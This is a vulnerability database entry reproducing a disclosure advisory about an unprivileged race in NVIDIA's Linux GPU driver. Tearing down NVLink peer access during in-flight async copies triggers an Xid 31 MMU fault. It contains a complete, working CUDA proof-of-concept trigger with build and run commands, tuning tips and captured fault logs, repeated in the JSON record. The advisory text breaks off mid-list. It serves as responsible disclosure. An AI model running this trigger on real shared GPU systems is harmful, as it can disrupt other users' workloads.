GCVE-1988-2026-0083
Vulnerability from gna-1988 – Published: 2026-09-07 13:20 – Updated: 2026-09-09 10:10
VLAI
EPSS
VEX
Title
NVIDIA Linux GPU driver: unprivileged Xid 31 MMU fault via undocumented peer-teardown ordering, no CVE (vendor: intended)
Summary
NVIDIA Linux GPU driver - unprivileged Xid 31 copy-engine MMU fault
during an NVLink peer transfer
==================================================================================================
An unprivileged local user with no GPU group, no admin group and no
capabilities, using only the driver's default 0666 /dev/nvidia*
permissions and public CUDA Runtime APIs, deterministically causes a
PID-attributed copy-engine MMU fault (Xid 31) during an NVLink peer
transfer. The captured Xid names one PCI device, 0000:01:00 - it is
not evidence that both GPUs of the pair entered a faulted state, and
no such claim is made here. The trigger is a race: call
cudaDeviceDisablePeerAccess() while a cudaMemcpyPeerAsync() is still
in flight on the peer path. Reproduced 5/5 with PID attribution to the
triggering process, against 4/4 clean negative controls. NVIDIA
reviewed the report and determined this is intended behavior and not a
bug.
Affected: NVIDIA Linux GPU driver, CUDA peer-access path on
NVLink-connected GPUs
Tested: 595.71.05-open
Hardware: A100-SXM4-80GB x4, NV4 full mesh, no NVSwitch, MIG off
Platform: Ubuntu 24.04, kernel 6.8.0, CUDA 13.2
CWE: CWE-362 (race condition) for the mechanism; CWE-276
(incorrect default permissions) as the access precondition
Status: Closed by NVIDIA as Not Applicable, 2026-08-04, on the
grounds that it is intended behavior. No fix.
CVE: none assigned
Ref: Intigriti NVIDIA-S5KGSS2R, NVIDIA PSIRT ticket 6286071
Companion: "NVIDIA Linux GPU driver: cross-UID GPU process telemetry
via NVML" - same node, same driver, same 0666 precondition
Read the "Unmeasured Question" section before drawing conclusions
about severity. The single measurement that separates a self-contained
fault from a cross-tenant denial of service is one I did not capture,
and I am not claiming it.
Observed Mechanism
------------------
cudaDeviceEnablePeerAccess() installs a peer mapping so GPU a can
address GPU b's memory over NVLink. cudaMemcpyPeerAsync() queues a DMA
on a copy engine that walks that mapping.
cudaDeviceDisablePeerAccess() tears the mapping down. Nothing forces
the outstanding DMA to drain first. The Xid line names FAULT_PDE on
CE4, consistent with the copy engine dereferencing a page directory
entry that has just been unmapped - an inference from the fault type
and engine, not a claim about driver internals.
GPU a (holds peer mapping) GPU b (peer)
+----------------------------------+
+---------------------------+
| cudaSetDevice(a) | |
cudaMalloc(src) |
| cudaDeviceEnablePeerAccess(b) ------ NVLink ---> | peer mapping
installed |
| cudaMemcpyPeerAsync() x4 |===== DMA in flight on CE4
=====> |
| cudaDeviceDisablePeerAccess(b) | |
|
| ^ | |
|
| +-- PDE torn down while CE4 is still walking it
|
+----------------------------------+
+---------------------------+
|
v
CE4 dereferences an unmapped PDE -> FAULT_PDE
ACCESS_TYPE_VIRT_READ
|
v
Xid 31, PID-attributed to the caller
The negative control synchronizes every copy before teardown, so no
DMA is outstanding when the mapping is removed. Approximately 9,000
synchronized cycles per run across four negative controls - roughly
36,000 cycles total - produced zero Xid. That isolates the
in-flight-copy-versus-teardown race as the cause rather than peer
access itself.
Attacker Prerequisites
----------------------
A shell account on the node, and the driver's own default device permissions:
# grep -E 'ModifyDeviceFiles|DeviceFileMode' /proc/driver/nvidia/params
ModifyDeviceFiles: 1
DeviceFileMode: 438 # 0666 octal
The trigger user for all captured runs was uid 1011, in no GPU group,
with an empty effective capability set.
Proof of Concept
----------------
Full PoC code, the instrumented trigger, the canary ladder and raw
evidence for both findings:
<https://github.com/abhinavagarwal07/nvidia-gpu-security-poc>
--a and --p are CUDA-visible ordinals. CUDA_VISIBLE_DEVICES,
containers, schedulers and MIG all remap these, so pin them to the
intended physical pair.
/* nvlink_p2p_cycle.cu
* build: nvcc -arch=sm_80 -O2 -o nvlink_p2p_cycle nvlink_p2p_cycle.cu
* pos: CUDA_VISIBLE_DEVICES=0,1 ./nvlink_p2p_cycle --a 0 --p 1
--inflight 1 --dur 30
* neg: CUDA_VISIBLE_DEVICES=0,1 ./nvlink_p2p_cycle --a 0 --p 1
--inflight 0 --dur 30
* (the captured runs used --dur 30)
*/
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <time.h>
#include <unistd.h>
#include <cuda_runtime.h>
/* peer enable/disable and the async copies are EXPECTED to return
errors once the
* pair starts faulting; swallow them so the loop keeps racing. */
#define SOFT(x) do { cudaError_t _e=(x); (void)_e; } while(0)
#define CHECK(x) do { cudaError_t _e=(x); if(_e!=cudaSuccess){ \
fprintf(stderr,"%s:%d
%s\n",__FILE__,__LINE__,cudaGetErrorString(_e)); exit(1);} } while(0)
static double now_s(void){ struct timespec t;
clock_gettime(CLOCK_MONOTONIC,&t);
return t.tv_sec + t.tv_nsec/1e9; }
int main(int argc,char**argv){
int a=0,p=1,mb=64,nstream=4,inflight=1; double dur=60.0;
for(int i=1;i<argc;i++){
if(!strcmp(argv[i],"--a")&&i+1<argc) a=atoi(argv[++i]);
else if(!strcmp(argv[i],"--p")&&i+1<argc) p=atoi(argv[++i]);
else if(!strcmp(argv[i],"--dur")&&i+1<argc) dur=atof(argv[++i]);
else if(!strcmp(argv[i],"--mb")&&i+1<argc) mb=atoi(argv[++i]);
else if(!strcmp(argv[i],"--streams")&&i+1<argc)
nstream=atoi(argv[++i]);
else if(!strcmp(argv[i],"--inflight")&&i+1<argc)
inflight=atoi(argv[++i]);
}
size_t bytes=(size_t)mb*1024*1024;
printf("pid=%d\n",(int)getpid()); /* PID attribution is the
central claim */
int can=0; CHECK(cudaDeviceCanAccessPeer(&can,a,p));
if(!can){ fprintf(stderr,"no p2p %d<->%d\n",a,p); return 2; }
/* source buffer lives on the peer; destinations and streams on
the local device */
CHECK(cudaSetDevice(p));
void *src; CHECK(cudaMalloc(&src,bytes));
CHECK(cudaMemset(src,0xCD,bytes));
CHECK(cudaSetDevice(a));
void **dst = (void**)malloc(nstream*sizeof(void*));
cudaStream_t *st = (cudaStream_t*)malloc(nstream*sizeof(cudaStream_t));
for(int s=0;s<nstream;s++){ CHECK(cudaMalloc(&dst[s],bytes));
CHECK(cudaStreamCreate(&st[s])); }
double t0=now_s(); unsigned long long cyc=0;
while(now_s()-t0 < dur){
SOFT(cudaDeviceEnablePeerAccess(p,0));
/* install peer mapping */
for(int s=0;s<nstream;s++)
SOFT(cudaMemcpyPeerAsync(dst[s],a,src,p,bytes,st[s]));
/* 4 x 64MiB async on CE */
if(!inflight)
for(int s=0;s<nstream;s++) cudaStreamSynchronize(st[s]);
/* negative control only */
SOFT(cudaDeviceDisablePeerAccess(p));
/* tear down mid-DMA */
cyc++;
}
printf("done: %llu cycles in %.1fs\n", cyc, now_s()-t0);
return 0;
}
Four 64 MiB copies across four streams keeps enough DMA outstanding
that the teardown lands inside the transfer window on essentially
every cycle.
Before running, confirm the two ordinals really are NVLink-connected -
cudaDeviceCanAccessPeer also returns 1 for PCIe P2P, which was not
tested here:
nvidia-smi topo -m # expect NV<n> between the chosen
GPUs, not PHB/SYS
nvidia-smi -L
Watch the kernel log. This needs root, or kernel.dmesg_restrict=0:
dmesg -w | grep -i xid
If no Xid appears within about 30 seconds, raise --mb and --streams
until the teardown reliably lands inside the transfer window.
-arch=sm_80 is A100; use sm_90 on H100/GH200, untested here.
DO NOT RESET YET. Resetting here destroys the only evidence that
matters - it is exactly the mistake my own harness made, and it is why
the central question in this post is unanswered. The required order
is:
trigger -> kill -9 the trigger -> canary as a DIFFERENT
unprivileged UID, before any reset
-> reset ONLY if that canary fails
Read state without clearing it:
nvidia-smi -q | grep -i "GPU Recovery Action"
Only after the pre-reset canary has been run and recorded:
nvidia-smi --gpu-reset -i <a>,<b> # requires no processes
attached to those GPUs
Positive run (--inflight 1), captured verbatim:
[Sat May 30 18:33:27 2026] NVRM: Xid (PCI:0000:01:00): 31,
pid=6507, name=nvlink_p2p_cycl,
channel 0x0c00001f, intr 00000000. MMU Fault: ENGINE CE4
HUBCLIENT_HSCE0 faulted @
0x7a77_7dbc6000. Fault is of type FAULT_PDE ACCESS_TYPE_VIRT_READ
Negative control (--inflight 0), approximately 9,000 synchronized cycles:
NONE
Machine-scored verdict for the same positive run:
{ "poc": "F5b-Xid31-unprivileged-P2P-disable-race", "kind": "positive",
"trigger_user": "victimuser", "physical_gpu_pair": ["0","1"],
"inflight": 1,
"xid_seen_during_run": 1, "trigger_launch_pids": ["6507"],
"xid_line_pids": ["6507"],
"verdict": "PASS",
"criteria": { "fresh_xid31": true, "pid_match": true,
"xid154_or_175": false,
"unprivileged_user": true, "survived_first_sigkill": false,
"held_gpu_memory": true, "ecc_clean_post": true } }
pos-01 launched at 18:33:23 and the Xid landed at 18:33:25 - two seconds.
Results
-------
Run Kind Pair inflight Fresh Xid 31 PID-matched Xid
154/175 Held GPU mem ECC clean
------- --------- ----- --------- ------------- ------------
------------ ---------------- ---------
pos-01 positive 0,1 1 yes yes no
672+480 MiB yes
pos-02 positive 0,1 1 yes yes no
672+480 MiB yes
pos-03 positive 0,1 1 yes yes no
672+480 MiB yes
pos-04 positive 0,1 1 yes yes no
672+480 MiB yes
pos-05 positive 0,1 1 yes yes no
672+480 MiB yes
neg-01 negative 0,1 0 no - no
- yes
neg-02 negative 0,1 0 no - no
- yes
neg-03 negative 0,1 0 no - no
- yes
neg-04 negative 0,1 0 no - no
- yes
Positives 5/5, negatives 4/4. Held GPU memory was recorded numerically
for pos-01 (672 MiB on GPU0, 480 MiB on GPU1); the harness recorded it
as a boolean for pos-02..05. Those numbers are derivable from the
trigger's own allocations - four 64 MiB destination buffers plus a
~416 MiB CUDA context on the local device, 64 MiB source plus the same
context on the peer - which is what rules out random corruption.
Post-reset aggregate uncorrectable ECC totals were zero in every run -
a fault, not hardware damage. The trigger process dies on the first
SIGKILL.
The fault was also reachable on all six local NVLink pairs, one pass each.
The Unmeasured Question
-----------------------
Whether the faulted copy-engine / UVM context clears when the process
dies, or whether the pair stays unusable to a fresh process until a
privileged nvidia-smi --gpu-reset, was not measured.
The harness ran --gpu-reset reflexively immediately after killing the
trigger, destroying the evidence for its own most important question.
The test node was deprovisioned before the run could be repeated with
a health probe in the gap.
Four indicators, three of them NVIDIA's own, point toward self-clearing:
- NVIDIA's Xid
Severity
No CVSS data available.
Assigner
References
15 references
Impacted products
1 product
| Vendor | Product | Version | CPE status | |
|---|---|---|---|---|
| Nvidia | NVIDIA Linux GPU |
Affected:
unknown
|
guessed |
{
"containers": {
"cna": {
"affected": [
{
"product": "NVIDIA Linux GPU",
"vendor": "Nvidia",
"versions": [
{
"status": "affected",
"version": "unknown"
}
]
}
],
"credits": [
{
"lang": "en",
"type": "finder",
"value": "Abhinav Agarwal"
}
],
"descriptions": [
{
"lang": "en",
"value": "NVIDIA Linux GPU driver - unprivileged Xid 31 copy-engine MMU fault\nduring an NVLink peer transfer\n==================================================================================================\n\nAn unprivileged local user with no GPU group, no admin group and no\ncapabilities, using only the driver\u0027s default 0666 /dev/nvidia*\npermissions and public CUDA Runtime APIs, deterministically causes a\nPID-attributed copy-engine MMU fault (Xid 31) during an NVLink peer\ntransfer. The captured Xid names one PCI device, 0000:01:00 - it is\nnot evidence that both GPUs of the pair entered a faulted state, and\nno such claim is made here. The trigger is a race: call\ncudaDeviceDisablePeerAccess() while a cudaMemcpyPeerAsync() is still\nin flight on the peer path. Reproduced 5/5 with PID attribution to the\ntriggering process, against 4/4 clean negative controls. NVIDIA\nreviewed the report and determined this is intended behavior and not a\nbug.\n\nAffected: NVIDIA Linux GPU driver, CUDA peer-access path on\nNVLink-connected GPUs\nTested: 595.71.05-open\nHardware: A100-SXM4-80GB x4, NV4 full mesh, no NVSwitch, MIG off\nPlatform: Ubuntu 24.04, kernel 6.8.0, CUDA 13.2\nCWE: CWE-362 (race condition) for the mechanism; CWE-276\n(incorrect default permissions) as the access precondition\nStatus: Closed by NVIDIA as Not Applicable, 2026-08-04, on the\ngrounds that it is intended behavior. No fix.\nCVE: none assigned\nRef: Intigriti NVIDIA-S5KGSS2R, NVIDIA PSIRT ticket 6286071\nCompanion: \"NVIDIA Linux GPU driver: cross-UID GPU process telemetry\nvia NVML\" - same node, same driver, same 0666 precondition\n\nRead the \"Unmeasured Question\" section before drawing conclusions\nabout severity. The single measurement that separates a self-contained\nfault from a cross-tenant denial of service is one I did not capture,\nand I am not claiming it.\n\n\nObserved Mechanism\n------------------\n\ncudaDeviceEnablePeerAccess() installs a peer mapping so GPU a can\naddress GPU b\u0027s memory over NVLink. cudaMemcpyPeerAsync() queues a DMA\non a copy engine that walks that mapping.\ncudaDeviceDisablePeerAccess() tears the mapping down. Nothing forces\nthe outstanding DMA to drain first. The Xid line names FAULT_PDE on\nCE4, consistent with the copy engine dereferencing a page directory\nentry that has just been unmapped - an inference from the fault type\nand engine, not a claim about driver internals.\n\n GPU a (holds peer mapping) GPU b (peer)\n +----------------------------------+\n+---------------------------+\n | cudaSetDevice(a) | |\ncudaMalloc(src) |\n | cudaDeviceEnablePeerAccess(b) ------ NVLink ---\u003e | peer mapping\ninstalled |\n | cudaMemcpyPeerAsync() x4 |===== DMA in flight on CE4\n=====\u003e |\n | cudaDeviceDisablePeerAccess(b) | |\n |\n | ^ | |\n |\n | +-- PDE torn down while CE4 is still walking it\n |\n +----------------------------------+\n+---------------------------+\n |\n v\n CE4 dereferences an unmapped PDE -\u003e FAULT_PDE\nACCESS_TYPE_VIRT_READ\n |\n v\n Xid 31, PID-attributed to the caller\n\nThe negative control synchronizes every copy before teardown, so no\nDMA is outstanding when the mapping is removed. Approximately 9,000\nsynchronized cycles per run across four negative controls - roughly\n36,000 cycles total - produced zero Xid. That isolates the\nin-flight-copy-versus-teardown race as the cause rather than peer\naccess itself.\n\n\nAttacker Prerequisites\n----------------------\n\nA shell account on the node, and the driver\u0027s own default device permissions:\n\n # grep -E \u0027ModifyDeviceFiles|DeviceFileMode\u0027 /proc/driver/nvidia/params\n ModifyDeviceFiles: 1\n DeviceFileMode: 438 # 0666 octal\n\nThe trigger user for all captured runs was uid 1011, in no GPU group,\nwith an empty effective capability set.\n\n\nProof of Concept\n----------------\n\nFull PoC code, the instrumented trigger, the canary ladder and raw\nevidence for both findings:\n\u003chttps://github.com/abhinavagarwal07/nvidia-gpu-security-poc\u003e\n\n--a and --p are CUDA-visible ordinals. CUDA_VISIBLE_DEVICES,\ncontainers, schedulers and MIG all remap these, so pin them to the\nintended physical pair.\n\n /* nvlink_p2p_cycle.cu\n * build: nvcc -arch=sm_80 -O2 -o nvlink_p2p_cycle nvlink_p2p_cycle.cu\n * pos: CUDA_VISIBLE_DEVICES=0,1 ./nvlink_p2p_cycle --a 0 --p 1\n--inflight 1 --dur 30\n * neg: CUDA_VISIBLE_DEVICES=0,1 ./nvlink_p2p_cycle --a 0 --p 1\n--inflight 0 --dur 30\n * (the captured runs used --dur 30)\n */\n #include \u003cstdio.h\u003e\n #include \u003cstdlib.h\u003e\n #include \u003cstring.h\u003e\n #include \u003ctime.h\u003e\n #include \u003cunistd.h\u003e\n #include \u003ccuda_runtime.h\u003e\n\n /* peer enable/disable and the async copies are EXPECTED to return\nerrors once the\n * pair starts faulting; swallow them so the loop keeps racing. */\n #define SOFT(x) do { cudaError_t _e=(x); (void)_e; } while(0)\n #define CHECK(x) do { cudaError_t _e=(x); if(_e!=cudaSuccess){ \\\n fprintf(stderr,\"%s:%d\n%s\\n\",__FILE__,__LINE__,cudaGetErrorString(_e)); exit(1);} } while(0)\n\n static double now_s(void){ struct timespec t;\nclock_gettime(CLOCK_MONOTONIC,\u0026t);\n return t.tv_sec + t.tv_nsec/1e9; }\n\n int main(int argc,char**argv){\n int a=0,p=1,mb=64,nstream=4,inflight=1; double dur=60.0;\n for(int i=1;i\u003cargc;i++){\n if(!strcmp(argv[i],\"--a\")\u0026\u0026i+1\u003cargc) a=atoi(argv[++i]);\n else if(!strcmp(argv[i],\"--p\")\u0026\u0026i+1\u003cargc) p=atoi(argv[++i]);\n else if(!strcmp(argv[i],\"--dur\")\u0026\u0026i+1\u003cargc) dur=atof(argv[++i]);\n else if(!strcmp(argv[i],\"--mb\")\u0026\u0026i+1\u003cargc) mb=atoi(argv[++i]);\n else if(!strcmp(argv[i],\"--streams\")\u0026\u0026i+1\u003cargc)\nnstream=atoi(argv[++i]);\n else if(!strcmp(argv[i],\"--inflight\")\u0026\u0026i+1\u003cargc)\ninflight=atoi(argv[++i]);\n }\n size_t bytes=(size_t)mb*1024*1024;\n printf(\"pid=%d\\n\",(int)getpid()); /* PID attribution is the\ncentral claim */\n\n int can=0; CHECK(cudaDeviceCanAccessPeer(\u0026can,a,p));\n if(!can){ fprintf(stderr,\"no p2p %d\u003c-\u003e%d\\n\",a,p); return 2; }\n\n /* source buffer lives on the peer; destinations and streams on\nthe local device */\n CHECK(cudaSetDevice(p));\n void *src; CHECK(cudaMalloc(\u0026src,bytes));\nCHECK(cudaMemset(src,0xCD,bytes));\n CHECK(cudaSetDevice(a));\n void **dst = (void**)malloc(nstream*sizeof(void*));\n cudaStream_t *st = (cudaStream_t*)malloc(nstream*sizeof(cudaStream_t));\n for(int s=0;s\u003cnstream;s++){ CHECK(cudaMalloc(\u0026dst[s],bytes));\nCHECK(cudaStreamCreate(\u0026st[s])); }\n\n double t0=now_s(); unsigned long long cyc=0;\n while(now_s()-t0 \u003c dur){\n SOFT(cudaDeviceEnablePeerAccess(p,0));\n/* install peer mapping */\n for(int s=0;s\u003cnstream;s++)\n SOFT(cudaMemcpyPeerAsync(dst[s],a,src,p,bytes,st[s]));\n/* 4 x 64MiB async on CE */\n if(!inflight)\n for(int s=0;s\u003cnstream;s++) cudaStreamSynchronize(st[s]);\n/* negative control only */\n SOFT(cudaDeviceDisablePeerAccess(p));\n/* tear down mid-DMA */\n cyc++;\n }\n printf(\"done: %llu cycles in %.1fs\\n\", cyc, now_s()-t0);\n return 0;\n }\n\nFour 64 MiB copies across four streams keeps enough DMA outstanding\nthat the teardown lands inside the transfer window on essentially\nevery cycle.\n\nBefore running, confirm the two ordinals really are NVLink-connected -\ncudaDeviceCanAccessPeer also returns 1 for PCIe P2P, which was not\ntested here:\n\n nvidia-smi topo -m # expect NV\u003cn\u003e between the chosen\nGPUs, not PHB/SYS\n nvidia-smi -L\n\nWatch the kernel log. This needs root, or kernel.dmesg_restrict=0:\n\n dmesg -w | grep -i xid\n\nIf no Xid appears within about 30 seconds, raise --mb and --streams\nuntil the teardown reliably lands inside the transfer window.\n-arch=sm_80 is A100; use sm_90 on H100/GH200, untested here.\n\nDO NOT RESET YET. Resetting here destroys the only evidence that\nmatters - it is exactly the mistake my own harness made, and it is why\nthe central question in this post is unanswered. The required order\nis:\n\n trigger -\u003e kill -9 the trigger -\u003e canary as a DIFFERENT\nunprivileged UID, before any reset\n -\u003e reset ONLY if that canary fails\n\nRead state without clearing it:\n\n nvidia-smi -q | grep -i \"GPU Recovery Action\"\n\nOnly after the pre-reset canary has been run and recorded:\n\n nvidia-smi --gpu-reset -i \u003ca\u003e,\u003cb\u003e # requires no processes\nattached to those GPUs\n\nPositive run (--inflight 1), captured verbatim:\n\n [Sat May 30 18:33:27 2026] NVRM: Xid (PCI:0000:01:00): 31,\npid=6507, name=nvlink_p2p_cycl,\n channel 0x0c00001f, intr 00000000. MMU Fault: ENGINE CE4\nHUBCLIENT_HSCE0 faulted @\n 0x7a77_7dbc6000. Fault is of type FAULT_PDE ACCESS_TYPE_VIRT_READ\n\nNegative control (--inflight 0), approximately 9,000 synchronized cycles:\n\n NONE\n\nMachine-scored verdict for the same positive run:\n\n { \"poc\": \"F5b-Xid31-unprivileged-P2P-disable-race\", \"kind\": \"positive\",\n \"trigger_user\": \"victimuser\", \"physical_gpu_pair\": [\"0\",\"1\"],\n\"inflight\": 1,\n \"xid_seen_during_run\": 1, \"trigger_launch_pids\": [\"6507\"],\n\"xid_line_pids\": [\"6507\"],\n \"verdict\": \"PASS\",\n \"criteria\": { \"fresh_xid31\": true, \"pid_match\": true,\n\"xid154_or_175\": false,\n \"unprivileged_user\": true, \"survived_first_sigkill\": false,\n \"held_gpu_memory\": true, \"ecc_clean_post\": true } }\n\npos-01 launched at 18:33:23 and the Xid landed at 18:33:25 - two seconds.\n\n\nResults\n-------\n\n Run Kind Pair inflight Fresh Xid 31 PID-matched Xid\n154/175 Held GPU mem ECC clean\n ------- --------- ----- --------- ------------- ------------\n------------ ---------------- ---------\n pos-01 positive 0,1 1 yes yes no\n 672+480 MiB yes\n pos-02 positive 0,1 1 yes yes no\n 672+480 MiB yes\n pos-03 positive 0,1 1 yes yes no\n 672+480 MiB yes\n pos-04 positive 0,1 1 yes yes no\n 672+480 MiB yes\n pos-05 positive 0,1 1 yes yes no\n 672+480 MiB yes\n neg-01 negative 0,1 0 no - no\n - yes\n neg-02 negative 0,1 0 no - no\n - yes\n neg-03 negative 0,1 0 no - no\n - yes\n neg-04 negative 0,1 0 no - no\n - yes\n\nPositives 5/5, negatives 4/4. Held GPU memory was recorded numerically\nfor pos-01 (672 MiB on GPU0, 480 MiB on GPU1); the harness recorded it\nas a boolean for pos-02..05. Those numbers are derivable from the\ntrigger\u0027s own allocations - four 64 MiB destination buffers plus a\n~416 MiB CUDA context on the local device, 64 MiB source plus the same\ncontext on the peer - which is what rules out random corruption.\nPost-reset aggregate uncorrectable ECC totals were zero in every run -\na fault, not hardware damage. The trigger process dies on the first\nSIGKILL.\n\nThe fault was also reachable on all six local NVLink pairs, one pass each.\n\n\nThe Unmeasured Question\n-----------------------\n\nWhether the faulted copy-engine / UVM context clears when the process\ndies, or whether the pair stays unusable to a fresh process until a\nprivileged nvidia-smi --gpu-reset, was not measured.\n\nThe harness ran --gpu-reset reflexively immediately after killing the\ntrigger, destroying the evidence for its own most important question.\nThe test node was deprovisioned before the run could be repeated with\na health probe in the gap.\n\nFour indicators, three of them NVIDIA\u0027s own, point toward self-clearing:\n\n - NVIDIA\u0027s Xid"
}
],
"problemTypes": [
{
"descriptions": [
{
"cweId": "CWE-276",
"description": "CWE-276",
"lang": "en",
"type": "CWE"
},
{
"cweId": "CWE-362",
"description": "CWE-362",
"lang": "en",
"type": "CWE"
}
]
}
],
"providerMetadata": {
"dateUpdated": "2026-09-09T10:10:23Z",
"orgId": "4e2abfbf-4a2a-4b76-a4e0-d77c18ba156c",
"shortName": "VULNARCHIVE"
},
"references": [
{
"tags": [
"technical-description"
],
"url": "https://vuln.freearchive.org/archive/full-disclosure/2026/Aug/78"
},
{
"tags": [
"technical-description"
],
"url": "https://seclists.org/fulldisclosure/2026/Aug/78"
},
{
"url": "https://abhinavagarwal07.github.io"
},
{
"url": "https://arxiv.org/html/2503.11901v3"
},
{
"url": "https://docs.aws.amazon.com/eks/latest/userguide/node-repair.html"
},
{
"url": "https://docs.nvidia.com/cuda/archive/13.2.0/cuda-runtime-api/group__CUDART__PEER.html"
},
{
"url": "https://docs.nvidia.com/cuda/cuda-runtime-api/group__CUDART__PEER.html"
},
{
"url": "https://docs.nvidia.com/datacenter/tesla/fabric-manager-user-guide/index.html"
},
{
"url": "https://docs.nvidia.com/deploy/xid-errors/analyzing-xid-catalog.html"
},
{
"url": "https://docs.nvidia.com/deploy/xid-errors/index.html"
},
{
"url": "https://github.com/NVIDIA/k8s-device-plugin/blob/main/internal/rm/health.go"
},
{
"url": "https://github.com/NVIDIA/open-gpu-kernel-modules/blob/main/kernel-open/nvidia/nv-reg.h"
},
{
"url": "https://github.com/abhinavagarwal07/nvidia-gpu-security-poc"
},
{
"url": "https://nmap.org/mailman/listinfo/fulldisclosure"
},
{
"url": "https://seclists.org/fulldisclosure/"
}
],
"source": {
"defect": [
"https://seclists.org/fulldisclosure/2026/Aug/78"
],
"discovery": "EXTERNAL"
},
"title": "NVIDIA Linux GPU driver: unprivileged Xid 31 MMU fault via undocumented peer-teardown ordering, no CVE (vendor: intended)",
"x_gcve": [
{
"recordType": "advisory",
"relationships": [],
"vulnId": "GCVE-1988-2026-0083",
"x_vulnarchive": {
"archiveUrl": "https://vuln.freearchive.org/archive/full-disclosure/2026/Aug/78",
"automated": true,
"contentSha256": "d9b7f5d4e360248ee44af2a3660b4178ae6c8eeb4d85b362cbf49126837f61cf",
"evidenceScore": 8,
"messageId": "",
"originalUrl": "https://seclists.org/fulldisclosure/2026/Aug/78",
"policy": "vulnarchive-1",
"sourceFormat": "text/html",
"sourcePublishedAt": "2026-08-22T19:43:46Z"
}
}
]
}
},
"cveMetadata": {
"assignerOrgId": "4e2abfbf-4a2a-4b76-a4e0-d77c18ba156c",
"assignerShortName": "VULNARCHIVE",
"datePublished": "2026-09-07T13:20:21Z",
"dateUpdated": "2026-09-09T10:10:23Z",
"state": "PUBLISHED",
"vulnId": "GCVE-1988-2026-0083"
},
"dataType": "CVE_RECORD",
"dataVersion": "5.2"
}
Loading…
Loading…
Experimental. This forecast is provided for visualization only and may change without notice. Do not use it for operational decisions.
Forecast uses a logistic model when the trend is rising, or an exponential decay model when the trend is falling. Fitted via linearized least squares.
Sightings
| Author | Source | Type | Date | Other |
|---|
Nomenclature
- Seen: The vulnerability was mentioned, discussed, or observed by the user.
- Confirmed: The vulnerability has been validated from an analyst's perspective.
- Published Proof of Concept: A public proof of concept is available for this vulnerability.
- Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
- Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
- Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
- Not confirmed: The user expressed doubt about the validity of the vulnerability.
- Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.
Loading…
The MITRE ATT&CK techniques below are AI-generated suggestions, inferred from the description of the
vulnerability by the CIRCL/vulnerability-attack-technique-classification-roberta-base
model, served locally by ML-Gateway.
They have not been verified by an analyst and are provided for guidance only.
The approach is described in our paper Mapping CVEs to MITRE ATT&CK Techniques: A Curated Gold-Set Classifier and the Limits of LLM-Assisted Label Expansion.
The approach is described in our paper Mapping CVEs to MITRE ATT&CK Techniques: A Curated Gold-Set Classifier and the Limits of LLM-Assisted Label Expansion.
Loading…
Loading…